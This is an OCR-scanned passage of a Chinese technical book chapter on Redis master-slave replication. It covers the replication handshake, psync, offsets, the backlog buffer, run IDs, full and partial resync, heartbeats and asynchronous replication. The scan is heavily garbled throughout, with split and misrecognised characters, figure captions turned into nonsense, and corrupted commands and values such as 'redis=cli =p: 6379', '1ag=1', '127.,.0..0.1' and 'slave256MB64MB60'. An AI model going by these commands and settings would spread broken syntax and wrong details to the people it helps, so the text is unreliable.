树 状 主 从 结构 《〈 又 称 为 树 状 拓扑 结构 ) 使 得 从 节点 不 但 可 以 复制 主 节 点 
数据 ， 同 时 可 以 作为 其 他 从 节点 的 主 节点 继续 向 下 层 复 制 。 通 过 引入 复制 中 
间 层 ， 可 以 有 效 降低 主 节点 负载 和 需要 传送 给 从 节点 的 数据 量 。 如 图 6-6 所 
示 ， 数 据 写 入 节点 A 后 会 同步 到 B 和 C 节 点 ，B 节 点 再 把 数据 同步 到 D 和 了 E 节 
点 ， 数 据 实现 了 一 层 一 层 的 向 下 复制 。 当 主 节 点 需要 挂 载 多 个 从 节点 时 为 了 
避免 对 主 节点 的 性 能 干扰 ， 可 以 采用 树 状 主 从 结构 降低 主 节点 压力 。 
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redis-A | 


人 


| redis-B | redis-C | 


peo 


图 6-6 ” 树 状 主 从 结构 
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6.3 ”原理 


6.3.1 复制 过 程 


在 从 节点 执行 slaveof 命 令 后 ， 复 制 过 程 便 开始 运作 ， 下 面 详 细 介 绍 建立 
复制 的 完整 流程 ， 如 图 6-7 所 示 。 


从 图 中 可 以 看 出 复制 过 程 大 致 分 为 6 个 过 程 : 
1) 保存 主 节 点 (master) 信息 。 


执行 slaveof 后 从 亨 点 只 保存 主 节点 的 地 址 信息 便 直接 返回 ， 这 时 建立 复 
制 流 程 还 没有 开始 ， 在 从 节点 6380 执 行 info replication 可 以 看 到 如 下 信息 : 





master host:127.,.0..0.1 
master port:6379 
master link status:down 





从 统计 信息 可 以 看 出 ， 主 节点 的 p 和 port 被 保存 下 来 ， 但 是 主 节点 的 连 
接 状 态 (master link status) 是 下 线 状态 。 执 行 slaveof 后 Redis 会 打印 如 下 日 


这 机 


DAN。 








SLAVE OF 127.0.0.1:6379 enabled (user request from "idq=65 addr=127.0.0.1:58090 
fd=5 name= age=11 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 gqbuf=0 qbuf-fre 
32768 obl=0 oll=0 omem=0 events=r cmd=slaveof') 

















通过 该 日 志 可 以 帮助 运 维和 人 员 定位 发 送 slaveof 命 令 的 客户 端 ， 方 便 妃 踪 
和 发 现 问题 。 
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于 一 一 一 一 一 一 一 


2) 也 从 建立 socket 这 轻 


i { 
已) 发 送 ping 命 令 _ _) 
pn { 
2 限 验证 
败 / 权 隧 台 证 __ _ _) 
eee 
/5) 同步 数据 集 _ _ _) 
A rd 


图 6-7 主 从 节点 建立 复制 流程 图 





2) 从 节点 〈slave) 内 部 通过 每 秒 运行 的 定时 任务 维护 复制 相关 逻辑 ， 
当 定 时 任务 发 现存 在 新 的 主 节 点 后 ， 会 答 试 与 该 节点 建立 网 络 连接 ， 如 图 6- 








8 所 示 。 
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slave link_ok 肆 立 socket 
zy OC om i 
127.0.0.1:6380 127:0;0:124593 








图 6-8 ”从 节点 与 主 节点 建 并 网 络 连接 


从 节点 会 建立 一 个 socket 套 接 字 ， 例 如 几 6-8 中 从 布点 建立 了 一 个 问 口 为 
24555 的 全 毛子， 专门 用 于 接受 主 市 点 发 送 的 复制 命令 。 从 节点 连接 成 功 后 
打印 如 下 日 志 : 





* Connecting to MASTER 127.0.0.1:6379 
* MASTER <-> SLAVE Sync started 














如 果 从 节点 无 法 建立 连接 ， 定 时 任务 会 无 限 重 试 直到 连接 成 功 或 者 执行 
slaveof no one 取 消 复 制 ， 如 图 6-9 所 示 。 


关于 连接 失败 ， 可 以 在 从 节点 执行 info replication 碍 看 
master link down since_seconds 指 标 ， 它 会 记录 与 主 节点 连接 失败 的 系统 时 
间 。 从 节点 连接 主 节 点 失败 时 也 会 每 秒 打 印 如 下 日 志 ， 方 便 运 维 人 员 发 现 问 


题 : 











十 





Error condition on Socket for SYNC: {socket error reason} 





3) 发 送 ping 命 令 


连接 建立 成 功 后 从 节点 发 送 ping 请 求 进行 首次 通信 ，ping 请 求 主 要 目的 
如 下 : 


检测 主 从 之 间 网 络 套 接 字 是 个 可 用 。 
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-检测 主 节点 当前 是 否 可 接受 处 理 命令 


如 果 发 送 ping 命 令 后 ， 从 布点 没有 收 到 主 节 点 的 pong 回 复 或 者 超时 ， 比 
如 网 络 超时 或 者 主 节点 正在 阻塞 无 法 响应 命令 ， 从 节点 会 断 开 复制 连接 ， 下 
次 定时 任务 会 发 起 重 连 ， 如 图 6-10 所 示 。 





slave 
127.0.0.1:6380 





图 6-9 ”从 节点 与 主 节点 建立 连接 流程 
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十 


健 综 复制 流 各 | 





图 6-10 ”从 节点 发 送 PING 命 令 流 程 


从 节点 发 送 的 ping 命 令 成 功 返 回 ，Redis 打 印 如 下 日 志 ， 并 继续 后 续 复制 


流程 : 





Master replied to PING, replication can continue... 





4) 权限 验证 。 如 果 主 节点 设置 了 requirepass 参 数 ， 则 需要 密码 验证 ， 
从 节点 必须 配置 masterauth 参 数 保 证 与 主 节 点 相同 的 密码 才能 通过 验证 ， 如 
果 验 证 失败 复制 将 终止 ， 从 节点 重新 发 起 复制 流程 。 











5) 同步 数据 集 。 主 从 复制 连接 正常 通信 后 ， 对 于 首次 建立 复制 的 场 
景 ， 主 市 扩 会 把 持 有 的 数据 全 部 发 送 给 从 节点 ， 这 部 分 操作 是 耗 时 最 长 的 步 
又 。Redis 在 2.8 版 本 以 后 采用 新 复制 命令 psync 进 行 数 据 同步 ， 原 来 的 sync 命 
令 依然 支持 ， 保 证 新 旧版 本 的 兼容 性 。 新 版 同步 划分 两 种 情况 : 全 量 同步 和 


分 同步 ， 下 一 将 重点 介绍 。 


了 Ht 
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6) 命令 持续 复制 。 当 主 节 点 把 当前 的 数据 同步 给 从 市 点 后 ， 便 完成 了 
复制 的 建立 流程 。 接 下 来 主 市 点 会 持续 地 把 写 命令 及 送 给 从 市 皮 ， 保 证 主 从 
数据 一 致 性 。 
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6.3.2 ”数据 同步 


Redis 在 2.8 及 以 上 版 本 使 用 psync 命 令 完 成 主 从 数据 同步 ， 同 步 过程 分 
为 : 全 量 复制 和 部 分 复制 。 

:全 量 复 制 : 一 般 用 于 初次 复制 场景 ，Redis 早 期 支持 的 复制 功能 只 有 全 
量 复制 ， 它 会 把 主 节 点 全 部 数据 一 次 性 发 送 给 从 节点 ， 当 数据 量 较 大 时 ， 会 
对 主 从 节点 和 网 络 造成 很 大 的 开销 。 





部 分 复制 : 用 于 处 理 在 主 从 复制 中 因 网 络 内 断 等 原因 造成 的 数据 丢失 
场景 ， 当 从 市 点 再 次 连 上 主 节 点 后 ， 如 果 条 件 人 允许， 主 市 上 会 补 发 丢失 数据 
给 从 市 点 。 因 为 补 发 的 数据 远 远 小 于 全 量 数据 ， 可 以 有 效 避 免 全 量 复制 的 过 
高 开销 。 























部 分 复制 是 对 老 版 复制 的 重大 优化 ， 有 效 避 免 了 不 必要 的 全 量 复制 操 
作 。 因 此 当 使 用 复制 功能 时 ， 尽 量 采 用 2.8 以 上 版 本 的 Redis。 





psync 命 令 运行 需要 以 下 组 件 文 持 ; 





` 主 从 节 反 各 目 复制 偏 移 量 。 


` 主 市 反复 制 积 压 缓冲 区 。 


1. 复 制 偏 移 量 











参与 复制 的 主 从 节点 都 会 维护 自 丑 复制 偏 移 量 。 主 节点 (master) 在 处 
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理 完 写 入 命令 后 ， 会 把 命令 的 字 节 长 度 做 累加 记录 ， 统 计 信息 在 info 


relication 中 的 master repl offset 指 标 中 : 





127.0.0.1:6379> info replication 
# Replication 
role:master 


master repl offset:1055130 





从 节点 (slave) 每 秒 钟 上 报 自 号 的 复制 偏 移 量 给 主 市 皮 ， 因 此 主 节 点 
也 会 保存 从 市 反 的 复制 偏 移 量 ， 统 计 指 标 如 下 : 








127.0.0.1:6379> info replication 
connected slaves:1 
slave0:ip=127.0.0.1,port=6380,state=online,offset=1055214,1ag=1 














从 节点 在 接收 到 主 节 点 发 送 的 命令 后 ， 也 会 芭 加 记录 自身 的 信 移 量 。 统 
计 信 息 在 info relication 中 的 slave_repl_offset 指 标 中 : 





127.0.0.1:6380> info replication 
# Replication 
role:slave 


slave repl offset:1055214 





复制 偏 移 量 的 维护 如 图 6-11 所 示 。 





通过 对 比 主 从 市 点 的 复制 偏 移 量 ， 可 以 判断 主 从 市 皮 数 据 是 否 一 致 。 
© nn 


可 以 通过 主 节 点 的 统计 信息 ， 计 算出 master repl_ ofRet-slave_offRet 字 节 
量 ， 判 断 主 从 节点 复制 相差 的 数据 量 ， 根 据 这 个 差 值 判定 当前 复制 的 健康 
度 。 如 有 果 主 从 之 间 复 制 偏 移 量 相 差 较 大 ， 则 可 能 是 网 络 延 迟 或 命令 阻塞 等 原 
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因 引 起 。 


2. 复 制 积 压 缓冲 区 





复制 积压 缓冲 区 是 保存 在 主 节 点 上 的 一 个 固定 长 度 的 队列 ， 默 认 大 小 为 
1MB， 当 主 节点 有 连接 的 从 节点 (slave〉 时 被 创建 ， 这 时 主 节 点 (master) 
响应 写 命令 时 ， 不 但 会 把 命令 发 送 给 从 节点 ， 还 会 写 入 复制 积压 缓冲 区 ， 如 
图 6-12 所 示 。 














传播 命令 
i slave | 


TU-_ TM- ww 
| 2 - 3 -了 忆 己 | | 
Sd ys = 
3 i 于 } 


en 


鳃 :; /让 才 儿 .是 - 
条 加 从 含 移 语 


图 6-11 复制 偏 移 量 维护 


l 
1 传播 命令 


| 
| 
| 
i 
| 复制 积 正 强 冲 区 

| 


ee 


图 6-12 复制 积压 缓冲 区 示意 图 





由 于 绥 冲 区 本 质 上 是 先 进 先 出 的 定 长 队列 ， 所 以 能 实现 保存 最 近 已 复制 
数据 的 功能 ， 用 于 部 分 复制 和 复制 命令 丢失 的 数据 补救 。 复 制 缓冲 区 相关 统 
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计 信 息 保 存在 主 节 点 的 info replication 中 





127.0.0.1:6379> info replication 
# Replication 
role:master 






























































repl backlog active:1 / / 开启 复制 缓冲 区 

repl backlog size:1048576 / / 缓冲 区 最 大 长 度 

repl backlog first byte offset:7479 / /” 起 始 偏 移 量 ， 计 算 当 前 缓冲 区 可 用 范围 
repl backlog histlen:1048576 / / 已 保存 数据 的 有 效 长 度 。 














根据 统计 指标 ， 可 算出 复制 积压 缓冲 区 内 的 可 用 偏 移 量 范围 ; 
[repl_ backlog first byte_offset， 
repl backlog first byte offsettrepl backlog histlen]。 更 多 复制 缓冲 区 的 细节 
见 6.3.4 节 “部 分 复制 ”。 


点 运行 ID 


HH 
二 


每 个 Redis 节 点 启动 后 都 会 动态 分 配 一 个 40 位 的 十 六 进 制 字符 串 作为 运 
行 D。 运 行人 D 的 主要 作用 是 用 来 唯一 识别 Redis 节 点 ， 比 如 从 节点 保存 主 节 
点 的 运行 DD 识 别 自 己 正 在 复制 的 是 哪个 主 节 点 。 如 果 只 使 用 ip+port 的 方式 识 
别 主 节点 ， 那 么 主 节 点 重 局 变更 了 整体 数据 集 (如 倚 换 RDB/AOF 文 件 )， 
从 节点 再 基于 偏 移 量 复制 数据 将 是 不 安全 的 ， 因 此 当 运 行人 DD 变化 后 从 节点 将 
做 全 量 复制 。 可 以 运行 info server 命 令 查看 当前 节点 的 运行 ID: 





























127.0.0.1:6379> info server 
# Server 
redis version:3.0..7 


run id:545f7c76183d0798a327591395b030000ee6def9 





需要 注意 的 是 Redis 关 闭 再 局 动 后 ， 运 行 DD 会 随 之 改变 ， 例 如 执行 如 下 


ji 


守 
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# redis=cli =p: 6379 info server | grep run id 
run id:545f7c76183d0798a327591395b030000ee6def9 
# redis-cli -p shutdown 

# redis-server redis-6379.conf 

# redis=cli =p: 6379 info server | grep run id 
run id:2b2ec5f49f752f35c2b2da4d05775b5b3aaa57ca 














如 何在 不 改变 运行 DD 的 情况 下 重启 呢 ? 


当 需 要 调 优 一 些 内 存 相 关 配 置 ， 例 如 : hash-max-ziplist-value 等 ， 这 些 配 
置 需要 Redis 重 新 加 载 才 能 优化 已 存在 的 数据 ， 这 时 可 以 使 用 debug reload 命 
令 重 新 加 载 RDB 并 保持 运行 ID 不 变 ， 从 而 有 效 避 免 不 必要 的 全 量 复制 。 命 令 
Ws 








# redis-cli -p 6379 info server | grep run id 
run id:2b2ec5f49f752f35c2b2da4d05775b5b3aaa57ca 
# redis-cli debug reload 

OK 
# redis-cli -p 6379 info server | grep run id 
run id:2b2ec5f49f752f35c2b2da4d05775b5b3aaa57ca 
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debug reload 命 令 会 阻塞 当前 Redis 节 点 主线 程 ， 阻 塞 期 间 会 生成 本 地 
RDB 快 照 并 清空 数据 之 后 再 加 载 RDB 文 件 。 因 此 对 于 大 数据 量 的 主 节点 和 无 
法 容忍 阻塞 的 应 用 场景 ， 齐 慎 使 用 。 











4.psync 命 令 


从 市 点 使 用 psync 命 令 完成 部 分 复制 和 全 量 复制 功能 ， 命 令 格式 : 
psync {runId} {offset} ， 参 数 含 义 如 下 : 





-runId: 从 节点 所 复制 主 节点 的 运行 id。 


offset:， 当前 从 市 点 已 复制 的 数据 偏 移 量 。 
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psync 命 令 运行 流程 如 图 6-13 所 示 。 


psync {runld } {offset } 





QONLINUE 
slave master 






TR 


图 6-13 ”psync 运 行 流程 


流程 说 明 : 





1) 从 节点 〈slave) 发 送 psync 命 令 给 主 节点 ， 参 数 runId 是 当前 从 节点 保 
存 的 主 节点 运行 D， 如 果 没 有 则 默认 值 为 ， 参 数 offset 是 当前 从 节点 保存 的 
复制 偏 移 量 ， 如 果 是 第 一 次 参与 复制 则 默认 值 为 -1。 











2) 主 节 点 (master) 根据 psync 参 数 和 上 自身 数据 情况 决定 啊 应 结 


-如 果 回 复 +FULLRESYNCfrunId} {offsetY， 那 么 从 节点 将 触发 全 量 复制 
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.如 果 回 复 TCONTINUE， 从 节点 将 触发 部 分 复制 流程 。 


如果 回 复 +TERR， 说 明 主 节点 版 本 低 于 Redis2.8， 无 法 识别 psync 命 令 ， 
从 节点 将 发 送 旧版 的 sync 命 令 触发 全 量 复制 流程 。 
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6.3.3 全 量 复 制 





全 量 复制 是 Redis 最 早 文 持 的 复制 方式 ， 也 是 主 从 第 一 次 建立 复制 时 必 
须 经 历 的 阶段 。 触 发 全 量 复制 的 命令 是 sync 和 psync， 它 们 的 对 应 版 本 如 图 6- 
14 所 示 。 





图 6-14 ”Redis 版 本 复制 命令 差异 


这 里 主要 介绍 psync 全 量 复制 流程 ， 它 与 2.8 以 前 的 sync 全 量 复制 机 制 基 
本 一 致 。 全 量 复制 的 完整 运行 流程 如 图 6-15 所 示 。 





流程 说 明 : 








1) 发 送 psync 命 令 进 行 数据 同 步 ， 由 于 是 第 一 次 进行 复制 ， 从 节点 没有 
复制 偏 移 量 和 主 市 点 的 运行 DD， 所 以 发 送 psync-1。 





2) 主 节点 根据 psync-1 解 析出 当前 为 全 量 复 制 ， 回 复 +TFULLRESYNC 啊 
应 。 


3) 从 节点 接收 主 布 点 的 啊 应 数据 保存 运行 人 DD 和 偏 移 量 offset， 执 行 到 当 
前 步 缀 时 从 市 点 打印 如 下 日 志 : 
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Partial resynchronization not possible (no cached master) 
Full resync from master: 92dlcbl4ff7ba97816216f7beb839efe036775b2:216789 





Ls) psync? -] 
OO 


2 EUEERESYNG 
{runld }{ oftset} 


好汉 save masterlnfo 4) bgsave 


slave inaster 


6380 5 ) send RDB 6379 


6) send buffer 
4 


7) flush old data 
| 8) load RDB 


Tg 






开启 AOFP? 





9) borewriteaof 


| Done | < 


图 6-15 全 量 复制 流程 





4) 主 节 点 执行 bgsave 你 存 RDB 文 件 到 本 地 ，bgsave 操 作 细 节 和 开销 见 
$.1 节 。 主 节点 bgsave 相 关 日 志 如 下 : 





M * Full resync requested by slave 127.0.0.1:6380 
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Starting BGSAVE for SYNC with target: disk 
Backdgrounad saving started by pid 32618 
RDB: 0 MB of memory used by copy-on-write 
Background saving terminated with success 
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Redis3.0 之 后 在 输出 的 日 志 开 头 会 有 M、S、C 等 标识 ， 对 应 的 含义 是 : 
ME 当前 为 主 节点 日 志 ，S= 当 前 为 从 节点 日 志 ，C= 子 进程 日 志 ， 我 们 可 以 根 
据 日 志 标 识 快速 识别 出 每 行 日 志 的 角色 信息 。 





区 ONE 
4X 兴 XX 交 














5) 主 市 反 发 送 RDB 文 件 给 从 节点 ， 从 市 点 把 接收 的 RDB 文 件 保存 在 本 
地 并 直接 作为 从 市 把 的 数据 文件 ， 接 收 完 RDB 后 从 节点 打印 相关 日 志 ， 可 以 
在 日 志 中 但 看 主 节 点 发 送 的 数据 量 : 











16:24:03.057 * MASTER <-> SLAVE sync: receiving 24777842 bytes from master 














需要 注意 ， 对 于 数据 量 较 大 的 主 节 点 ， 比 如 生成 的 RDB 文 件 超过 6GB 以 
上 时 要 格外 小 心 。 传 输 文 件 这 一 步 操作 非常 耗 时 ， 速 度 取决 于 主 从 节点 之 间 
网 络 带 宽 ， 通 过 细致 分 析 Full resync 和 MASTER<->SLAVE 这 两 行 日 志 的 时 间 
差 ， 可 以 算出 RDB 文 件 从 创建 到 传输 完毕 消耗 的 总 时 间 。 如 果 总 时 间 超 过 
repl-timeout 所 配置 的 值 (默认 60 秒 ) ， 从 节点 将 放弃 接受 RDB 文 件 并 清理 已 
经 下 载 的 临时 文件 ， 导 致 全 量 复制 失败 ， 此 时 从 节点 打印 如 下 日 志 : 








M 27 May 12:10:31.169 # Timeout receiving bulk data from MASTER... If the probl 
persists try to set the 'repl-timeout' Parameter in redis.conf to a larger 











针对 数据 量 较 大 的 节点 ， 建 议 调 大 repl-timeout 参 数 防止 出 现 全 量 同 步 数 
据 超 时 。 例 如 对 于 千 兆 网 卡 的 机 器 ， 网 卡带 宽 理 论 峰 值 大 约 每 秒 传输 
100MB， 在 不 考虑 其 他 进程 消耗 带宽 的 情况 下 ，6GB 的 RDB 文 件 至 少 需要 60 
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秒 传 输 时 间 ， 默 认 配置 下 ， 极 易 出 现 主 从 数据 同步 超时 。 


天 于 无 盘 复 制 : 为 了 降低 主 市 点 磁盘 开销 ，Redis 文 持 无 盘 复 制 ， 生 成 
的 RDB 文 件 不 保存 到 人 硬 栓 而 是 直接 通过 网 络 发送 给 从 闻 上 把， 通过 repl- 
diskless-sync 人 参数 控制 ， 默 认 关 闭 。 无 盘 复 制 适用 于 主 节 点 所 在 机 器 磁盘 性 
能 较 差 但 网 络 带 宽 较 充裕 的 场景 。 注 意 无 盘 复 制 目前 依然 处 于 试验 阶段 ， 线 
上 使 用 需要 做 好 充分 测试 。 











6) 对 于 从 节点 开始 接收 RDB 快 照 到 接收 完成 期 间 ， 主 节点 仍然 响应 读 
写 命令 ， 因 此 主 节 点 会 把 这 期 间 写 命令 数据 保存 在 复制 客户 端 缓冲 区 内 ， 当 
从 节点 加 载 完 RDB 文 件 后 ， 主 节点 再 把 缓冲 区 内 的 数据 发 送 给 从 节点 ， 保 证 
主 从 之 间 数 据 一 致 性 。 如 果 主 节点 创建 和 传输 RDB 的 时 间 过 长 ， 对 于 高 流量 
写 入 场景 非常 容易 造成 主 节 点 复制 客户 端 缓冲 区 溢出 。 默 认 配 置 为 client- 
output-buffer-limit slave256MB64MB60， 如 果 60 秒 内 缓冲 区 消耗 持续 大 于 
64MB 或 者 直接 超过 256MB 时 ， 主 节点 将 直接 关闭 复制 客户 端 连接 ， 造 成 全 
量 同 步 失 败 。 对 应 日 志 如 下 : 




















M 27 May 12:13:33.669 # Client id=2 addr=127.0.0.1:24555 age=1 idle=1 flags=5S 
qbuf=0 qbuf-free=0 obl=18824 ol1=21382 omem=268442640 events=r cmd=psync 
scheduled to be closed ASAP for overcoming of output buffer limits. 











因此 ， 运 维 人 员 需 要 根据 主 节 点 数据 量 和 写 命令 并 发 量 调整 client- 
output-buffer-limit slave 配 置 ， 避 免 全 量 复制 期 间 客户 端 缓冲 区 洲 出 。 





对 于 主 节 点 ， 当 发 送 完 所 有 的 数据 后 就 认为 全 量 复制 完成 ， 打 印 成 功 日 
志 : Synchronization with slave127.0.0.1: 6380succeeded， 但 是 对 于 从 节点 全 
量 复制 依然 没有 完成 ， 还 有 后 续 步 又 需要 处 理 。 
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7) 从 节点 接收 完 主 节点 传送 来 的 全 部 数据 后 会 清空 上 自身 旧 数 据 ， 该 步 
又 对 应 如 下 日 志 : 





16:24:02.234 * MASTER <-> SLAVE Sync: Flushing old data 











8) 从 节点 清空 数据 后 开始 加 载 RDB 文 件 ， 对 于 较 大 的 RDB 文 件 ， 这 一 
步 操 作 依然 比较 耗 时 ， 可 以 通过 计算 日 志 之 间 的 时 间 关 来 判断 加 载 RDB 的 总 
耗 时 ， 对 应 如 下 日 志 : 








16:24:03.578 * MASTER <-> SLAVE sync: Loading DB in memory 
16:24:06.756 * MASTER <-> SLAVE sync: Finished with success 

















对 于 线 上 做 读 写 分 离 的 场景 ， 从 节点 也 负责 响应 读 命令 。 如 果 此 时 从 节 
点 正 出 于 全 量 复制 阶段 或 者 复制 中 断 ， 那 么 从 节点 在 响应 读 命令 可 能 拿 到 过 
期 或 错误 的 数据 。 对 于 这 种 场景 ，Redis 复 制 提供 了 slave-serve-stale-data 参 
数 ， 默 认 开 启 状 态 。 如 果 开 启 则 从 节点 依然 响应 所 有 命令 。 对 于 无 法 容忍 不 
一 致 的 应 用 场景 可 以 设置 no 来 关闭 命令 执行 ， 此 时 从 节点 除了 info 和 slaveof 
命令 之 外 所 有 的 命令 只 返回 “SYNC with master in progress” 信 息 


9) 从 节点 成 功 加 载 完 RDB 后 ， 如 果 当 前 节点 开启 了 AOF 持 久 化 功能 ， 
它 会 并 刻 做 bgrewriteaof 人 操作 ， 为 了 保证 全 量 复 制 后 AOF 持 久 化 文件 立刻 可 
用 。AOF 持 久 化 的 开销 和 细节 见 $.2 节 “AOF”。 


通过 分 析 全 量 复 制 的 所 有 流程 ， 读 者 会 发 现 全 量 复制 是 一 个 非常 耗 时 费 
力 的 操作 。 它 的 时 间 开 销 主 要 包括 : 


主 节 点 bgsave 时 间 。 
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RDB 文 件 网 络 传输 时 间 。 


:从 节点 清空 数据 时 间 。 


:从 市 点 加 载 RDB 的 时 间 。 


:可 能 的 AOF 重 写 时 间 。 





例如 我 们 线 上 数据 量 在 6G 左 右 的 主 节 点 ， 从 节点 发 起 全 量 复制 的 总 耗 
时 在 2 分 钟 左 右 。 因 此 当 数 据 量 达到 一 定 规模 之 后 ， 由 于 全 量 复 制 过 程 中 将 
进行 多 次 持久 化 相关 操作 和 网 络 数据 传输 ， 这 期 间 会 大 量 消耗 主 从 市 点 所 在 
服务 器 的 CPU、 内 存 和 网 络 资源 。 所 以 除了 第 一 次 复制 时 采用 全 量 复制 在 所 
难免 之 外 ， 对 于 其 他 场景 应 该 规避 全 量 复制 的 发 生 。 正 因为 全 量 复制 的 成 本 


问题 ，Redis 实 现 了 部 分 复制 功能 。 
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6.3.4 部 分 复制 


部 分 复制 主要 是 Redis 针 对 全 量 复 制 的 过 高 开销 做 出 的 一 种 优化 措施 ， 
使 用 psync {runId} {offset} 命 令 实现 。 当 从 节点 〈slave) 正在 复制 主 节 点 
Cmaster) 时 ， 如 果 出 现 网 络 闪 断 或 者 命令 丢失 等 异常 情况 时 ， 从 节点 会 向 
主 节点 要 求 补 发 丢失 的 命令 数据 ， 如 果 主 节点 的 复制 积压 缓冲 区 内 存在 这 部 
分 数据 则 直接 发 送 给 从 节点 ， 这 样 就 可 以 保持 主 从 节点 复制 的 一 致 性 。 补 发 
的 这 部 分 数据 一 般 远 远 小 于 全 量 数据 ， 所 以 开销 很 小 。 部 分 复制 的 流程 如 图 
6-16 所 示 。 











i 1 ) Connection lost 


a2) request 
Pad 
{rep pl-b bac = gb uffer! 
入 9 Connecting to master 
es 
4) psync {offset} {runid} 
slave | master 
6380 5) CONTINUE 6372 
CC 
0) send partial data 
一 
一 一 一 ~ Te 
图 6-16 ”部 分 复制 过 程 
流程 说 明 : 


1) 当主 从 节点 之 间 网 络 出 现 中 断 时 ， 如 果 超 过 repl-timeout 时 间 ， 主 他 
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会 认为 从 节点 故障 并 中 断 复制 连接 ， 打 印 如 下 日 志 








M # Disconnecting timedout slave: 127.0.0.1:6380 
M # Connection with slave 127.0.0.1:6380 lost. 








如 果 此 时 从 节点 没有 宕 机 ， 也 会 打印 与 主 节 点 连接 丢失 日 志 





S # Connection with master lost. 
S * Caching the disconnected master State . 





2) 主 从 连接 中 断 期 间 主 厄 点 依然 啊 应 命令 ， 但 因 复 制 连接 中 断 命 令 无 
法 及 送 给 从 市 点 ， 不 过 主 市 点 内 部 存在 的 复制 积压 缓冲 区 ， 依 然 可 以 保存 最 
近 一 段 时 间 的 写 命令 数据 ， 默 认 最 大 缓存 1MB。 








3) 当主 从 节 扣 网 络 恢复 后 ， 从 节点 会 再 次 连 上 主 币 把， 打印 如 下 日 











志 : 
CN。 
S * Connecting to MASTER 127.0.0.1:6379 
S * MASTER <-> SLAVE Sync started 
S * Non plocking connect for SYNC fired the event. 
S * Master replied to PING, replication can continue... 














4) 当主 从 连接 恢复 后 ， 由 于 从 市 反之 前 保存 了 自身 已 复制 的 偏 移 量 和 
主 布点 的 运行 ID。 因 此 会 把 它们 当 作 psync 参 数 发 送 给 主 节 点 ， 要 求 进 行 部 
分 复制 操作 。 该 行为 对 应 从 节点 日 志 如 下 : 








S * Trying a partial resynchronization (request 2b2ec5f49f752f35c2pb2da4d05775b5 
b3aaa57ca:49768480) . 








5) 主 市 点 接 到 psync 命 令 后 首先 核 对 参数 runId 是 否 与 目 身 一 致 ， 如 果 一 
致 ， 说 明之 前 复制 的 是 当前 主 节 点 ; 之 后 根据 参数 offset 在 目 身 复制 积压 组 
冲 区 查找 ， 如 果 偏 移 量 之 后 的 数据 存在 绥 冲 区 中 ， 则 对 从 节点 及 壕 
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+CONTINUE 啊 应 ， 表 示 可 以 进行 部 分 复制 。 从 节点 接 到 回复 后 打印 如 下 日 


DAN。 





S * Successful partial resynchronization with master. 
S * MASTER <-> SLAVE sync: Master accepted a Partial Resynchronization. 




















6) 主 市 点 根据 偶 移 量 把 复制 积压 缓冲 区 里 的 数据 发 送 给 从 节点 ， 保 证 
主 从 复制 进入 正 利 状态 。 发 送 的 数据 量 可 以 在 主 节 点 的 日 志 获 取 ， 如 下 所 


不 : 





M * Slave 127.0.0.1:6380 asks for synchronization 
M * Partial resynchronization request from 127.0.0.1:6380 accepted. Sending 78 
bytes of backlog starting from offset 49769216. 











从 日 志 中 可 以 友 现 这 次 部 分 复制 只 同步 了 78 字 市 ， 传 递 的 数据 远 远 小 于 
全 量 数据 。 
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6.3.5 心跳 





主 从 节点 在 建立 复制 后 ， 它 们 之 间 维 护 着 长 连接 并 彼此 发 送 心跳 命令 ， 
如 图 6-17 所 示 。 


ping 
| master | | slave | 


CC 


replconf ack { offset 


mn 


图 6-17 主 从 心跳 检测 
主 从 心跳 判断 机 制 : 


1) 主 从 节点 彼此 都 有 心跳 检测 机 制 ， 各 自 模 拟 成 对 方 的 客户 端 进行 通 
信 ， 通 过 client list 命 令 碍 看 复制 相关 客户 端 信息 ， 主 节点 的 连接 状态 为 
flags=M， 从 节点 连接 状态 为 lags=S 。 











2) 主 节点 默认 每 隔 10 秒 对 从 节点 发 送 ping 命 令 ， 判 断 从 节点 的 存活 性 
和 连接 状态 。 可 通过 参数 repl-ping-slave-period 控 制 发 送 频 率 。 





3) 从 节点 在 主线 程 中 每 隔 1 秒 发 送 replconf ack{offset} 命 令 ， 给 主 节 点 
上 报 自身 当前 的 复制 偏 移 量 。replconf 命 令 主 要 作用 如 下 : 
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实时 监测 主 从 节点 网 络 状态 。 











上报 自 喘 复制 仿 移 量 ， 检 查 复 制 数据 是 否 丢 失 ， 如 果 从 市 点 数据 丢 
失 ， 再 从 主 节 点 的 复制 缓冲 区 中 拉 取 丢失 数据 。 


.实现 保证 从 节点 的 数量 和 延迟 性 功能 ， 通 过 min-slaves-to-write、min- 
slaves-max-lag 参 数 配置 定义 。 


主 节点 根据 replconf 命 令 判断 从 节点 超时 时 间 ， 体 现在 info replication 统 
计 中 的 lag 信 息 中 ，lag 表 示 与 从 节点 最 后 一 次 通信 延迟 的 秒 数 ， 正 常 延迟 应 
该 在 0 和 1 之 间 。 如 果 超 过 repl-timeout 配 置 的 值 〈 默 认 60 秒 ) ， 则 判定 从 节点 
下 线 并 断 开 复制 客户 端 连接 。 即 使 主 节 点 判定 从 节点 下 线 后 ， 如 果 从 节点 重 
新 恢复 ， 心 跳 检测 会 继续 进行 。 


© nn 


为 了 降低 主 从 延迟 ， 一 般 把 Redis 主 从 节点 部 费 在 相同 的 机 房 /同城 机 
房 ， 避 免 网 络 延迟 和 网 络 分 区 造成 的 心跳 中 断 等 情况 。 
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6.3.6 ”异步 复制 








主 节点 不 但 负责 数据 读 写 ， 还 负责 把 写 命令 同步 给 从 节点 。 写 命令 的 发 
送 过 程 是 异步 完成 ， 也 就 是 说 主 节点 目 遇 处理 完 写 命令 后 直接 返回 给 客户 
端 ， 并 不 等 等 从 布 反 复制 完成 ， 如 图 6-18 所 示 。 








| Pn 
127.0.0.1:0379 


| commands 
Ar 
"2 








一 


| 127.0.0.1:6380 | 


图 6-18” 主 节点 复制 流程 
主 节点 复制 流程 : 
1) 主 节 点 6379 接 收 处 理 命 令 


2) 命令 处 理 完 之 后 返回 啊 应 结果 。 





3) 对 于 修改 命令 异步 发 送 给 6380 从 节点 ， 从 节点 在 主线 程 中 执行 复制 
的 命令 。 








由 于 主 从 复制 过 程 是 异步 的 ， 束 会 造成 从 节点 的 数据 相对 主 节点 存在 延 
迟 。 有 具体 延迟 多 少 字 节 ， 我 们 可 以 在 主 节点 执行 info replication 命 令 查 看 相 
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天 指标 获得 。 如 下 : 








slave0:ip=127.0.0.1,port=6380,state=online,offset=841,1ag=1 
master repl offset:841 





在 统计 信息 中 可 以 看 到 从 节点 slave0 信 息 ， 分 别 记录 了 从 节点 的 p 和 
port， 从 市 点 的 状态 ，offset 表 示 当 前 从 市 点 的 复制 仿 移 量 ， 
